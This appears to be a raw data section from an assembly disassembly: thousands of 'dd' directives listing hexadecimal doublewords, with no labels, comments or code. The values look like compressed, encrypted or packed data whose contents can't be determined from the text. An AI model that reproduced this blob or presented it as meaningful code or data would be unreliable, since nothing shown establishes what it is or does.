dd 3C39F020h, 0B7089461h, 0C82AE4F6h, 80035C0h, 6CD14181h
dd 0F93D8D5h, 6B457BAEh, 0B3F8CD20h, 6459CC69h, 0B6220294h
dd 0FEF57459h, 4F4E3B60h, 42AB0F9Ch, 3E8A7430h, 5B25042Ch
dd 9C38003Bh, 6D942697h, 0A0A50BB5h, 0ACE49BCEh, 205F4043h
dd 3FAE019Ch, 0D9A81A00h, 0C3A750B7h, 0F2CA0F8Bh, 1E4F09CFh
dd 920C18E0h, 3900135Eh, 4C9CB498h, 0EC046Eh, 0C5F5DA1Dh
dd 0D6D4E5CCh, 80265B3Ah, 19FC5223h, 0A84ECABBh, 7F158h
dd 32660209h, 0C5687975h, 45318405h, 0F8027B04h, 635F3B6Dh
dd 4036D88Ch, 1D904E67h, 3C243E98h, 1840A5E0h, 0D1095A78h
dd 0F94FF745h, 0B0150CD8h, 0CA0AC8E9h, 0E811E284h, 205C5F8Ah
dd 4CE4EC14h, 2A0286DCh, 0CF7E0042h, 193712FCh, 0A61F6B80h
dd 640B07Ah, 0C40F4B9h, 91309E1Bh, 4C8048ACh, 33B2807Ch
dd 0ABB904h, 4B126E46h, 0A11BDEFEh, 7624BA00h, 5545DB59h
dd 4FF40D50h, 9FE852F7h, 35802236h, 378B6EAFh, 240509A3h
dd 28D9B6F7h, 8963480h, 0BFD08B9Dh, 6654EC01h, 0C1086C01h
dd 0FD39F9C1h, 0F02A29C1h, 0EB0DF08Eh, 2086767Ah, 2FA8206Fh
dd 0FB0F9AE7h, 0E02D311Ch, 0E9C91AFAh, 7EC80597h, 8D5A8FCBh
dd 2308614Ch, 176012A4h, 0B0C408BCh, 4D152107h, 8021FB14h
dd 0FD407D41h, 1448B2h, 6001A78Fh, 12630887h, 0F8BB9B2Eh
dd 8B725688h, 0D48268B9h, 1829858Eh, 3C0194h, 0BD5471B1h
dd 0E094FFF4h, 0CC4E2D00h, 0F7461A39h, 0B1887B57h, 0B925187Ch
dd 2BFB7CC8h, 125D9022h, 0C1DA05h, 5E882D30h, 7D4F16C9h
dd 0C89268A2h, 0C57833D8h, 0BBDB4C01h, 0A8F01C17h, 22581420h
dd 8C7A0D0Ch, 0F114B897h, 721F0002h, 3DF38D3Bh, 0B40082D7h
dd 767D96D9h, 2DE91B5Ah, 8F30BDFh, 1E501514h, 0AD8962C8h
dd 4408D6DBh, 5C30EB5Dh, 4F70A7C0h, 0DAC020D3h, 19004550h
dd 54212315h, 3EDFD6F5h, 6BBBF85Ch, 0BD0093C8h, 644F48E6h
dd 0FF4E3104h, 4912E8BCh, 21DC90F4h, 0A403627Ah, 0DB4887E9h
dd 0E4190157h, 0BFD62942h, 7067E11Ch, 432C1298h, 568528D8h
dd 0BC091B9Ah, 60180016h, 50D36FC4h, 890BD0E3h, 6A3521B7h
dd 64C26094h, 0EFDC5EC7h, 6EF9B420h, 0EE1F3EEBh, 0FE4185A5h
dd 6BA840D8h, 0E6DA40EAh, 1C6497E3h, 7D2B400h, 0E136E886h
dd 0BE8C2h, 793E8581h, 0F1BEBA2Bh, 48C7C5Ch, 2E16D5B7h
dd 0EBDB3CC1h, 14021902h, 54702B09h, 0CCE0924Eh, 0F840F129h
dd 896FC440h, 48C214EEh, 0CCC629CFh, 0A6E3D8C8h, 97A0860h
dd 0D484902Dh, 0F40F2872h, 0A5D730C8h, 21C2A639h, 2E40C8B4h
dd 791F139h, 3B4C1489h, 0FF57140Eh, 0F812F421h, 8B5AA317h
dd 84693ECAh, 8F4C5246h, 0B4083519h, 0B21FE200h, 0EA520A25h
dd 92AD0051h, 7D0C8A17h, 0FE01ECDFh, 0BA351D02h, 0DBF4D6B7h
dd 0F6C506A1h, 299E64AAh, 56322202h, 4045E1E6h, 3EFD3133h
dd 8A037C3Fh, 8829E5F9h, 74C22800h, 0E3CFF3C9h, 0C301383Ah
dd 0B9E27E1Fh, 4B050306h, 401D5180h, 774030BDh, 791E089Dh
dd 3601308Bh, 6165B349h, 5C35F400h, 19541DAAh, 2838C00Dh
dd 72934303h, 0E0F3B70Eh, 3B42E0BEh, 5848741Dh, 641E4C90h
dd 14AC5DE1h, 262060B1h, 8B72E943h, 77E2922h, 65F08B9Ch
dd 0B6F8C0D2h, 0D50367F2h
dd 0F7F9A829h, 8BA1002Fh, 5CDEE720h, 756F2468h, 0F5178048h
dd 987DF15Fh, 1D3406B8h, 5807FF32h, 6C238A18h, 1943829h
dd 37BEAE87h, 0F2423E93h, 0F0F4D087h, 0D11C350Bh, 53C2AEEh
dd 0FBB50118h, 1A527B65h, 14B6C160h, 0BC7CF890h, 1589C310h
dd 7901853h, 1D450B74h, 8B0087C7h, 1262ABFh, 0E49F9BA5h
dd 43ACA8C9h, 0F1277CA8h, 0A75683h, 0E9F8AB76h, 0E60085AAh
dd 6BE567A1h, 1D39BC2h, 0B80AADB6h, 437CBEE4h, 8BE3C3B6h
dd 0FA223AC8h, 0B421F22Ah, 0D559AB04h, 388C08F3h, 30F12AFAh
dd 0F931779Ch, 0C8148850h, 0B5DA01AFh, 7F732A43h, 929053C6h
dd 0E10A31C6h, 0C5252805h, 7B518039h, 96067EFFh, 640314E0h
dd 33C7F097h, 0B116C2Eh, 0F6AB6D01h, 91AEFD64h, 0A1889848h
dd 1308F544h, 79FD1D00h, 0AF3BFAA2h, 9E1906C4h, 246D2AFEh
dd 3CF6AC3Fh, 80230F4Ah, 0E9CA0164h, 880147Ah, 650271C9h
dd 0CCA6B2FDh, 11FB744h, 0DF43A29Dh, 8C612451h, 16412AE1h
dd 0C70800F0h, 0E1606835h, 78C41D3Dh, 23066756h, 97003159h
dd 34DE771Eh, 0F2E4F203h, 0D5F500ACh, 2F79730Eh, 0FF0EFD62h
dd 0E4CE1091h, 2080E941h, 9AC52Ch, 8C333E5Eh, 30C94F20h
dd 97CB7800h, 752E4B0Bh, 0A480E8Bh, 6480637Bh, 8274C494h
dd 4796D69h, 234E7F00h, 4009815h, 0B97E97CCh, 4614AFC7h
dd 0A2E04429h, 0AE5D2033h, 0E602DC58h, 3B9D66C3h, 0F8E0FF5Ch
dd 3090E479h, 7F7F4E1h, 443CAB12h, 353B8430h, 2AE0A1F9h
dd 3D84600Ch, 2340F6FEh, 4900C091h, 6CC2D63Fh, 0E3A20CA3h
dd 7313291h, 8B0014EAh, 97FC829Fh, 0C03BD2h, 8158FAE8h
dd 7E010B65h, 2C8ABA24h, 0AC10501h, 4BF2C90Fh, 8D74C028h
dd 0F169CD7Ah, 9319DA98h, 94A4F208h, 31DFDEF8h, 0F8260E0Ch
dd 0E5132005h, 3AAA0A0h, 0FA00A0EEh, 1A0B2D54h, 4008F15Ch
dd 0A43A64F4h, 941024BAh, 0DDB41E14h, 8D0504E2h, 845B5DE6h
dd 51D81F18h, 70323179h, 80146675h, 2D18B9CCh, 0A419C03Fh
dd 1663C4FDh, 7FA978C8h, 540E188Bh, 8EB11177h, 0A38FD200h
dd 4CB494BAh, 0E16B0209h, 92C1C608h, 0FCF8988Ch, 10F78945h
dd 9E27BAB0h, 189230A2h, 88136769h, 0F0E63C27h, 0EBDE003Ch
dd 2B4AA11Bh, 1C619202h, 0BD4EE929h, 4CC6BCCCh, 391C617Ch
dd 0C7C88BBFh, 0B526E658h, 46090FA9h, 8CD49301h, 0E83C4431h
dd 0AD3C606Dh, 25391E87h, 2B019064h, 0ABA9895Bh, 0DC48804Bh
dd 0F8782658h, 568748ACh, 3492830Ch, 2F00CB59h, 5E05E284h
dd 0D8114D9h, 0B61A43AEh, 0C893FED2h, 0D09C1h, 63F4F9AAh
dd 0F4A4183h, 0D7EC1900h, 0B7BC58FCh, 0EF1E0E1Dh, 4CA02E7Ah
dd 81D08739h, 8B10700h, 0A66CCA52h, 19FF0610h, 0A1F822C3h
dd 4907F000h, 13AF9453h, 67860723h, 9ACDBC3Bh, 92BD0158h
dd 0F4F0DC2Fh, 0D8060669h, 1E9566EBh, 791C00F9h, 0F51FDF3Dh
dd 8C0072D7h, 48148027h, 0C41D35C3h, 31BFE5D8h, 0A2100F0Dh
dd 34D543F8h, 1A0C0000h, 167F7024h, 2D22428h, 33C43F4Ch
dd 0A182E980h, 87253AAh, 56D4BF00h, 598E4474h, 0F911B67Ch
dd 532431E8h, 0A604048h, 16037573h, 0FE6E9C99h, 5764E083h
dd 5D7000D6h, 0F4FD2F9Dh, 0A4009E48h, 0E71C0B1Bh, 0C0410E59h
dd 0ECAD0518h, 2C03092Ah, 9B288E2Fh, 0C07CB2BAh, 2E188FCh
dd 4394407Fh, 0EC600436h, 50848E9Eh, 0A816487Bh, 0BD296BE0h
dd 0BF991B80h, 0C500FA2Eh, 0A3773259h, 270E4D0h, 0FEB50869h
dd 28CA7212h, 4B414480h, 571E5CBDh, 9CAC2435h, 0A4210959h
dd 330828D9h, 0EC082345h, 6EB7007Eh, 3CFDEE57h, 0B802B01Eh
dd 4EB6F7DFh, 2188405Dh, 1492F9h, 82253D33h, 5B803739h
dd 66F19D06h, 1990ABFEh, 891EB134h, 7AE45079h, 0AD0051E9h
dd 5329F0FAh, 0E12065A5h, 0FDA08A00h, 3E24EA05h, 0F808AC0Fh
dd 0D556212h, 1D2B4466h, 3F80F880h, 9ABC11A7h, 641301ECh
dd 0C22A322Dh, 0F3CFC74Fh, 69390620h, 6F0E8F40h, 0E17FE049h
dd 0F186F7D0h, 0A1277ED8h, 49186838h, 0B4207641h, 20305D4h
dd 8C453BABh, 341C3330h, 8426321Ch, 4E5C1060h, 0B41D5C36h
dd 90FCA629h, 0C1B09C57h, 129C0103h, 82839DF0h, 21046A14h
dd 4D01CC8h, 0F0763186h, 0DF28135h, 6F42C884h, 525BDE0Eh
dd 51042327h, 5C92D13Fh, 0F7CC14F4h, 2BFAC0h, 5B43A641h
dd 8B41D09h, 51B1C50Eh, 0E0D75F3Ah, 4E0A826h, 0AAC1A285h
dd 441887ABh, 203B2227h, 77F1D11Dh, 0FB32161Bh, 0DC92E4C1h
dd 0C5F8E0A8h, 7ED0A96Eh, 5AE88017h, 2027583h, 0BC78D3D0h
dd 71CC143h, 368C0814h, 0BFB3186h, 0C6B48219h, 34350BC4h
dd 18021A05h, 0E71895D1h, 1DAC8072h, 0C4E33203h, 0A00AC304h
dd 283CC82Fh, 21C419F6h, 66119116h, 0B4523138h, 406A2312h
dd 26EA058h, 1300A3C3h, 1F911AECh, 0BDC9CF4h, 2853C58Fh
dd 0B60AB082h, 0D2406624h, 2786F58Dh, 5C337C07h, 4C449302h
dd 5631CEC0h, 46A125E6h, 463A1CA4h, 2415F23h, 9206C773h
dd 0C055C4B1h, 3E45F8ECh, 7D705102h, 0F8366C7Eh, 152F5E8h
dd 21F41DA0h, 8804F822h, 59C06723h, 43EC2B61h, 0AAF02EABh
dd 84AC2190h, 0A21C353Dh, 21FA00E4h, 0A318481Ah, 0D1C81242h
dd 3A0804ACh, 25C12329h, 0D8A79259h, 9A620254h, 44D39DE0h
dd 0B04E90A0h, 0A4DFF980h, 31C201F0h, 58AC2533h, 0F5433D6h
dd 0FAD4E42h, 2E71D926h, 2340110Ch, 7854581Dh, 99ED809Dh
dd 9C4D48E2h, 7AB248h, 8EADECB9h, 9E40C51h, 0AB043B5Ah
dd 77A84C0Fh, 0FD521828h, 5E22BCh, 8FA326C3h, 77E4040Ah
dd 3BB94Ch, 0F07317FEh, 1615CFDh, 2903FFBAh, 3079D43Bh
dd 44B91468h, 0CE652AB0h, 70840E69h, 91200BA2h, 53028DD9h
dd 6432D0C8h, 801D530Fh, 947A0D91h, 0D6608198h, 0CB3D873Eh
dd 1D58A998h, 54A81100h, 0FC309937h, 0AAFA26F1h, 59420818h
dd 22655831h, 2A7C8C05h, 0D5255D00h, 51995947h, 701E8DEh
dd 768DC056h, 51060E3h, 0D094A964h, 2C50250h, 2A567AD1h
dd 786024E4h, 0BA136308h, 0D4042021h, 0C6222DEEh, 40062084h
dd 281F5169h, 0F68D3EAAh, 8274911Eh, 6CC9C607h, 0FD3AE044h
dd 3210444Bh, 0F0D833B5h, 252A2070h, 928DC74h, 34981407h
dd 0BFAA471Fh, 5B0189BFh, 156C1CB7h, 0B01A9E5Fh, 4E60232Ch
dd 2D9C8B00h, 9200D18Fh, 0A87B2078h, 24E657E1h, 46D04721h
dd 850715Ah, 5F406EB4h, 19056021h, 61F4982Fh, 0ECBA3107h
dd 4479FA54h, 197B0CD4h, 260807CAh, 2014AA34h, 847D60B2h
dd 42310841h, 86381048h, 822251CBh, 507C2E32h, 3075F0C4h
dd 571BC7Fh, 7E13010Eh, 1040326Ah, 9565398Ch, 0AB7124B7h
dd 4238269Ch, 2E40E2D6h, 0E09E19C9h, 3253B340h, 99D100EDh
dd 0F807A349h, 0BFE69B34h, 0B61CAB01h, 0C17A607Dh, 33192912h
dd 5A80A822h, 8FBE7320h, 0B29BFE00h, 640AF2F6h, 200C9826h
dd 0AC79C8CAh, 9987B030h, 0B99547FAh, 44CF0A48h, 0D04800C7h
dd 181711E3h, 4A721AB0h, 0A00F3704h, 4C8BAC4Fh, 60A05427h
dd 8DC4DD07h, 0C7D64Ch, 0FB5D78BCh, 191AEB92h, 0C8D2CBDCh
dd 36F84C1Dh, 48ACC9C0h, 13C0D721h, 0C050130Eh, 0D4F7D2E0h
dd 3E30290Bh, 0C0009A43h, 91985FF0h, 0FEB3C0E4h, 2400456Ch
dd 0ACC3708Fh, 173C2D6h, 0DECE6899h, 0EE37E163h, 281E2466h
dd 4700CF8Dh, 0AE5F7C4Ch, 0C3264C6Eh, 4680F12h, 26280E14h
dd 0E40C53B1h, 0FD4B7100h
dd 0A1E3AD91h, 8459DC00h, 0A9D88BE0h, 4220918Dh, 0F600231Ch
dd 52F2FEB4h, 0AA11CC62h, 3231280h, 15E75440h, 1D6A669h
dd 4009D998h, 50A96F9Bh, 1DF1BB78h, 7E1CEF01h, 8B7694DEh
dd 17A09FD8h, 1299C714h, 0C2F912C8h, 0D0E90A4Ch, 0F2C980F1h
dd 311A4EABh, 757F4Ch, 205EEA2Dh, 3F8E3484h, 8945A801h
dd 31E65577h, 41214023h, 81007311h, 0E1151E82h, 0FAFE5B09h
dd 3C065426h, 0A8696551h, 9EAA4EC0h, 1317EDF2h, 68098646h
dd 2C7CC467h, 79A026A7h, 84CF70D1h, 0BCE33117h, 8DF23844h
dd 1189C021h, 0C217F5FAh, 85284E6h, 7BC7244h, 0EEEF4E83h
dd 304B7797h, 3AD6F4FFh, 9D542704h, 0CE0CEFEh, 79F725F9h
dd 34D924B8h, 9F0384E4h, 27C47697h, 62859098h, 113000C1h
dd 0BF7FFA94h, 109E0BE6h, 22AF0483h, 0C69903FBh, 0DEEC5D1Fh
dd 840BB0A0h, 4E1AF606h, 21D82EFFh, 5C188E66h, 6022C281h
dd 0BF5A41FEh, 800046F8h, 26BB74BDh, 4A77D6h, 0A4604710h
dd 5AFEA2B3h, 20E5FA15h, 0F8AD26A4h, 0B85D2D8Ah, 2B63EE83h
dd 27B29132h, 28281875h, 1884418Bh, 0BBD0E492h, 94D66560h
dd 2E29CA98h, 45FC962Ch, 0B8584A6Ah, 69F243C4h, 0A4FC4AA4h
dd 311558h, 0BDC09B3h, 3F7FB2E5h, 3482FF00h, 0BAD8C767h
dd 0B50205BDh, 0A47DA2FEh, 10EACFF0h, 0A968B00Bh, 18246E32h
dd 614CB564h, 98A8FF23h, 73031DDCh, 25E0172Ah, 0C029BA26h
dd 0D7436h, 61D46342h, 8E5EFD4Dh, 0C2E160B4h, 40292458h
dd 5E006138h, 0E4BB4EF3h, 0A8099691h, 0FF1ABC5h, 0B52A5F0h
dd 2B7FC8D2h, 774F844h, 813ACE01h, 2954DAB2h, 1C7DD60h
dd 0A485EC09h, 332E31FBh, 0AB6B167Ch, 0AE6258C2h, 532FD14Ch
dd 4D68B420h, 0CA0145B1h, 303A0B80h, 54D0B27Fh, 0E8F009BFh
dd 0B0826208h, 7301F386h, 0D1846984h, 0D4489E1Dh, 4ACE2F4h
dd 0FE3221B9h, 0F11020B2h, 24E19E2Fh, 3EC33C14h, 0B8604A52h
dd 7DC926D9h, 0D34E00B5h, 1C4689Bh, 0B340821Bh, 529408Eh
dd 14E3C000h, 3B4BE272h, 9E1F01FDh, 0AA3F760h, 10A6CCC1h
dd 593C0E7Bh, 0AED60009h, 1A5279D3h, 0DC0F4CC7h, 84277A10h
dd 6404234Fh, 689253B3h, 31386869h, 8B10B906h, 7418CE10h
dd 0C0BA282Ah, 1327B621h, 70D828B5h, 0E409B104h, 1CC1D668h
dd 23017566h, 0B03D72h, 0FDD16486h, 1197FFAAh, 7A53C9h
dd 6D9C163h, 289A67B6h, 1248F071h, 30B9AC0Bh, 484EB2F8h
dd 8B6EAB00h, 6637AA92h, 85880F45h, 0EBA31A0Fh, 0B004A0D6h
dd 3E08F5Ah, 480D6504h, 13469E02h, 13BC05BEh, 6EC004ADh
dd 0D11D0031h, 0B8D776F2h, 39050E07h, 0CE057ACh, 0FA9968D6h
dd 75723B00h, 0B2629C91h, 403CB622h, 676BFDB8h, 3526AE63h
dd 0A36F8FFh, 0C27F2971h, 0E7991A0h, 134ACAAh, 4AB73BE5h
dd 0E9019C72h, 6BCAF0EEh, 0C0ACDD1Fh, 68B81A1Dh, 3F65A220h
dd 801EC0Fh, 6CB0F419h, 1C02D24h, 2A3026CAh, 8442A71Ah
dd 9A3CA276h, 0B4230409h, 0A20073DCh, 2C1166EEh, 12765E98h
dd 49A6CEE0h, 0B4048820h, 0C0564Eh, 0E225B5B8h, 2D71C078h
dd 1EA41D34h, 9B945207h, 86E72C4Dh, 0E3AAA802h, 0E473B904h
dd 13248011h, 0B270D01Dh, 21C329ECh, 0D3FA07CCh, 4FB9620Fh
dd 0B7D1E960h, 10D8C34Dh, 233E68D9h, 48A48D2Ch, 153A38D8h
dd 2FAAAC04h, 131CCC31h, 8C01A87Ch, 1ACC1E1Fh, 84E58B73h
dd 25538C20h, 0B02122ACh, 0E80EEF3Dh, 297D03FAh, 9921E890h
dd 7CEC0846h, 0B2901414h, 99086647h, 9023146Ch, 74826F80h
dd 4F1FEEE2h, 914A9C4Ah, 8B598CA2h, 9D643184h, 0C358974Bh
dd 0A7E56D78h, 918700A0h, 0D55AB2FAh, 82E813BAh, 0EA6C0496h
dd 0C0A810F4h, 0E431ECC0h, 0B3911B4Fh, 5140B0A9h, 449EAAE8h
dd 0A7CEDD40h, 429800ACh, 29A9EA11h, 7D000EA2h, 0E67BE526h
dd 0C84EC1h, 5DCBA537h, 8B893EBAh, 0AABEA607h, 0B86A0AB6h
dd 0D0D09216h, 3AC5CBF6h, 179E83C9h, 879E40F4h, 7F6F32E9h
dd 574CAE49h, 0A0FA2AD0h, 0E40AC900h, 734BBABDh, 0B8357228h
dd 6B9D3989h, 7210D848h, 0A964126Dh, 14059C25h, 0E08BC2A4h
dd 2AF7FA08h, 932C28Fh, 280059E3h, 283A2194h, 85C04F14h
dd 48A25181h, 41250A01h, 80FD2055h, 4366EDA9h, 0AA67A7h
dd 40F56287h, 885ADB0Fh, 0ACDA441Ah, 10BC4E50h, 38E4802Dh
dd 7CAC44F3h, 863200FDh, 0B0FCC294h, 1CA3CBF9h, 0A49184F7h
dd 0AFE051BCh, 0D382800h, 0A257AED0h, 0CC971777h, 0BEBCC154h
dd 9CBC0827h, 1048E7D4h, 0FCDFEE87h, 4F345F00h, 0D06EA6E8h
dd 6ADCF55Bh, 0F3350426h, 0E0515EB6h, 724484F8h, 0A1B001Dh
dd 0FDFC7E11h, 0C12E1A47h, 696FF0E3h, 69DC61A7h, 0E9C9570Ch
dd 7E54040Fh, 54605D85h, 1FD4112Fh, 4EF40Eh, 83C8D656h
dd 20725EE9h, 1FB66B00h, 0FA0328CCh, 17D1FC3Ch, 0E883A41h
dd 3216321Dh, 0FE19F7D0h, 94975D18h, 0C1237804h, 79C3DD9h
dd 0F3F8F7B0h, 4607AFD6h, 0F8DBB330h, 0C496EE91h, 40523C20h
dd 1D549293h, 9A3D0DA8h, 0FD8D8095h, 0F1320FDCh, 4A5CE491h
dd 2A8C89EFh, 7A835404h, 184AF142h, 54003444h, 5DA5AA3Fh
dd 3F28ED6h, 0FA8580AEh, 0CCF77708h, 228671C0h, 72447DA3h
dd 0E1300944h, 4661CF40h, 98C73BEh, 0DD723A5Ch, 0A788BB80h
dd 0D400BC64h, 23422F4Eh, 0A080716Fh, 894F8ACCh, 0CCD11004h
dd 2A6EE6Fh, 0AE23B853h, 10E6C816h, 3C821A4Ah, 7D9211F2h
dd 26E10080h, 199B1D74h, 0F765002Dh, 0C2D0BE76h, 0C0E4F39Eh
dd 21905048h, 626008Ch, 60FE18F4h, 210881C9h, 0CCAC28BCh
dd 37A04060h, 3668ECDEh, 18728815h, 0C18C1297h, 82148174h
dd 1D257BACh, 104AF8E0h, 2203E02Ah, 0CFAA1E18h, 0DE90F009h
dd 0FE0037B6h, 242D2A43h, 4A223E8Dh, 0A6A0C70Ah, 8C9B6CBEh
dd 528E748Fh, 0AD0704F7h, 80F20736h, 48C34764h, 0E8158C9Ch
dd 750B05E4h, 5000687Fh, 19ED2DA3h, 7EF61E1Bh, 0D534A8Ch
dd 0B3CB8080h, 19B2FE2Eh, 0FC5D542Ch, 42F0809h, 0FC21FDB4h
dd 11F82DF0h, 0C44A35F4h, 0DA50A058h, 2F359042h, 8328121h
dd 9542098h, 83DB2D01h, 49604C4Eh, 23206CE5h, 0A59D00FEh
dd 0DA66028Fh, 400B9D2h, 69863BABh, 2FCF0796h, 0B41E3168h
dd 8D130842h, 9308C1EFh, 65050021h, 4CEA54FDh, 631885Eh
dd 0DE42609Ch, 0A5001485h, 4EE77A97h, 0E51B6Bh, 2BBD5FCDh
dd 1F629B3Eh, 0B0A9A4A0h, 640D5105h, 34880EB6h, 0C29188FDh
dd 0F7746700h, 2F3CF6A7h, 252A02A5h, 5972101Eh, 53D0041h
dd 63D65880h, 0A9762473h, 461509C8h, 0FE00F84Dh, 867C6E6Dh
dd 1FE80033h, 7B8FE7C9h, 98D6B981h, 0F0516B0Ah, 88022543h
dd 15EF859Ch, 0C85022C2h, 34FCFA0Bh, 0FB02E4EEh, 65B2C7FEh
dd 0E2F8608Eh, 98434BB6h, 9F0202B4h, 0B9F588FEh, 0B64D889h
dd 5358362Ah, 0A18A3090h, 0E0F6300h, 2B05A8B3h, 20E00398h
dd 3F738BB7h, 540D23D0h, 9E6480A0h, 0E0A0DCBCh, 0F6006491h
dd 0FAA28BC1h, 630E3F50h, 8C59AC89h, 410F0C00h, 0D4E1A3CCh
dd 3D5F8BC9h, 68572440h, 937876h, 0AC25201Dh, 9C11CB2Ah
dd 52D17D00h, 0DB0B99CCh, 0E2FA132Ch, 0B0A800C7h, 1DF7B902h
dd 0A98C5E12h, 810E7020h, 50E89012h, 44795071h, 1B4D925Ch
dd 0C45A0030h, 0DA8698C9h, 0F550730h, 0E095B46Bh, 537A4B94h
dd 7F249619h, 402F92F1h, 0CA018BC4h, 0FE03D548h, 3DEF66F0h
dd 403BDAC8h, 0BEFAC0h
dd 0AAA08458h, 97518643h, 0FB138891h, 44008C64h, 8B8C1A72h
dd 4EFA0337h, 832184C0h, 64053A7Bh, 0ABC2DF1Fh, 3C4C1840h
dd 1162CCDh, 0D840B16Fh, 30A7343Eh, 22007FCCh, 36840EF3h
dd 9E555C4h, 8C741F6Bh, 8FF49044h, 90E8C301h, 0F43683A9h
dd 939507Dh, 648240DCh, 0EC5A89B0h, 0C2B9FE60h, 0D8E568h
dd 5E9942B5h, 9FDB52ABh, 84BDBB00h, 4E7F0157h, 40C8B6A9h
dd 61DA4132h, 7DF3AD1Dh, 1F1DCE81h, 3620EF0Eh, 32D4A024h
dd 0A2F800Dh, 10B7709h, 0AC103857h, 7C4407FAh, 96CB40D6h
dd 617C91FCh, 8015023Eh, 5CAAB5DCh, 562EBA4h, 144C5011h
dd 0AE1D0Bh, 67B55EA0h, 0BF00FC0Ch, 0B97BFFE3h, 8F1266h
dd 0A78C4720h, 7E73C737h, 0E9138B01h, 0A01BEA6h, 29746070h
dd 1FA05679h, 25602632h, 2D03DCECh, 0C1C98CAFh, 1DD20EFFh
dd 53400AC3h, 0FA02B191h, 7D1F4100h, 32AABF5Ch, 1CE002Bh
dd 62D3BDFCh, 3639C9A9h, 0CCFD144Fh, 2722250Ch, 0EF200480h
dd 179B36Eh, 3865405Bh, 706C0E52h, 0B04EA1BBh, 0B983B4C0h
dd 0AE20F96h, 0B02233Dh, 9898A7F0h, 6F074EE1h, 2B271645h
dd 1CC33A40h, 906700CEh, 0C861E47Ah, 0ECBE52C7h, 805C8E88h
dd 0FA2F6502h, 919D82E6h, 0F7080314h, 24310B4Bh, 143449ABh
dd 0F28245B1h, 1089C8C9h, 242E85ABh, 815453C0h, 90C2803Ch
dd 92C44E0h, 34904BB8h, 290091FBh, 86346725h, 73C224E1h
dd 0AC9D0019h, 7F44A31Ch, 0E400D128h, 2AB8429h, 0C07BB1CEh
dd 0F626F150h, 0C238B2E6h, 0A9922FF9h, 0D0F18088h, 138E9B0h
dd 0A9DCF448h, 0C8FA45A2h, 0E21278ACh, 0A0208074h, 0CFB64B02h
dd 0CEE73391h, 6BD600C3h, 19C37553h, 80F50252h, 0E218342Ah
dd 0B0850019h, 0F17B46CBh, 0FA17D908h, 9C5FFEDFh, 10A422D2h
dd 110D00CCh, 0B4688E97h, 0EF7053BBh, 0D49185FCh, 0C00AC280h
dd 3EED21FCh, 5C02FA53h, 0AAC4B502h, 5A64E840h, 0F70EA8A0h
dd 0ECFFE604h, 0D8D802D3h, 243E1CAAh, 1A280FD1h, 90A9D905h
dd 6ED2C33Ch, 90859A0Ch, 179E21C2h, 49C032FEh, 9468E874h
dd 7E29030Eh, 182DB0B2h, 0FD2DC4h, 975E5B67h, 0C657F7BAh
dd 0B38E4600h, 0D75AB62Bh, 31C20259h, 724AAF8Dh, 58D01B62h
dd 0E68CF602h, 740B4F4Dh, 0A0749DD4h, 57817515h, 0C0C848C4h
dd 49C36FA9h, 6D3703C8h, 69F7630Dh, 0C43E90A7h, 0C8B8BF59h
dd 7B1D7544h, 43A20BC6h, 340062E8h, 0A68C72E0h, 286BDD03h
dd 0C09BDA10h, 7961C604h, 21AB0908h, 0F0489534h, 8803380Ah
dd 8583CD91h, 8B27D0AEh, 0E3241B2Eh, 992CB0AAh, 900EE022h
dd 0A0A21618h, 0A4584980h, 0E405525Bh, 2715ABB1h, 0B37DF0C0h
dd 2560006Dh, 0AECA9BC3h, 964FF973h, 7850AC80h, 8C5B0024h
dd 0DB823FB2h, 2A01CB6Dh, 1952FA0Eh, 9E4B7F1h, 0BB506C2h
dd 62F9F88Dh, 4675DF00h, 9421C560h, 147BE030h, 0A45667BAh
dd 80DFA7C7h, 8238606Eh, 318F4F00h, 36ACE7ABh, 18431390h
dd 0B9D8B423h, 4D4BC21Fh, 0CB4E08C0h, 0FD018Dh, 0E42A9ED0h
dd 780A0D5Eh, 0BA43C103h, 0C08B7F4Ah, 0B044B016h, 7DABF275h
dd 648F1DD6h, 17F26B5h, 9DAE4F24h, 517BCC2Fh, 0E0AC3D01h
dd 87C39216h, 8011AC29h, 60481E66h, 215D89h, 9819BA64h
dd 2CAC1606h, 0A834CC13h, 0C0264B00h, 1CF916C4h, 4A789032h
dd 317822FAh, 386A247Eh, 12AA40BEh, 204A0D86h, 3D707F9Ch
dd 0A931C97Ch, 111F701Ah, 262C5E12h, 0ACA207A4h, 507063DEh
dd 4E203D82h, 29F979C4h, 100DF221h, 641E1AACh, 5467984Ah
dd 68D04AA8h, 58ABC4h, 0A359C05Dh, 0FA17FEE1h, 4F24325Ch
dd 7CA23824h, 0B6E00F04h, 541CB842h, 31881CDCh, 0E0919701h
dd 4B5308FAh, 75E402ACh, 74785084h, 0C0E01895h, 9DF70B7h
dd 0A2645D6Fh, 0CE77E498h, 0DCC54A0Ah, 96405C6Bh, 9EF172h
dd 0BBFA7A1Ah, 305AF9A9h, 12B4AC4Ch, 88257F74h, 32C274ACh
dd 0C8DCE8FAh, 0E0250A42h, 1A47162h, 0CC80C305h, 3F6AAF63h
dd 0BF14C21h, 505C4182h, 80FADEFAh, 7805D04Bh, 0EC27BE54h
dd 0AC071A7h, 0F0EC4BCCh, 84D949A4h, 0C842F232h, 7A00C45Ah
dd 43ACC454h, 0F8E021D3h, 5062E9B9h, 0FFBA204h, 0C59187FEh
dd 0BC80550h, 0E8F68Bh, 0DB9BE617h, 4CA033h, 7227BFBCh
dd 8D5439EAh, 0F44B6809h, 32280214h, 0C0A262F3h, 166DE278h
dd 1E999351h, 0B7370048h, 0AAF0F7C5h, 8DA0AB54h, 9055F44h
dd 0CAC2EEB5h, 92130200h, 80CE524Eh, 9076091Fh, 0B19864D4h
dd 229C2054h, 0D00120E8h, 0ABDBD2F0h, 0C288425h, 8AB3F3CFh
dd 328C00E8h, 146509C1h, 8D6100F5h, 0E68ED405h, 8003936Bh
dd 5ED757ABh, 0FBF7D84Ch, 27480043h, 0D0378B6Ch, 0B6002940h
dd 62C3AA0Bh, 14AFA1Ch, 0BCB10635h, 3EF6ACA9h, 8C640803h
dd 0BB1027Bh, 873A322Dh, 5974B0E0h, 96041272h, 0E9F8AD51h
dd 3B8C04D0h, 17A1752h, 0D0EC0111h, 0CDB91693h, 45FFF932h
dd 17F48408h, 94E8CC14h, 4EDB138h, 0F2F9A1E2h, 0D02CB4h
dd 0C2FBA5E3h, 0E41CE138h, 0E2125F01h, 69C30931h, 956F1E4h
dd 1598541Ah, 10C0C8C2h, 0D748DC22h, 58CC4A8Ch, 1BA05CA4h
dd 2F467D01h, 0CF1E3069h, 0D24559B8h, 0A31A1305h, 0D0888D39h
dd 9D3C1CF3h, 25ED858Bh, 8050B8ACh, 2A80CDD1h, 6B8200F7h
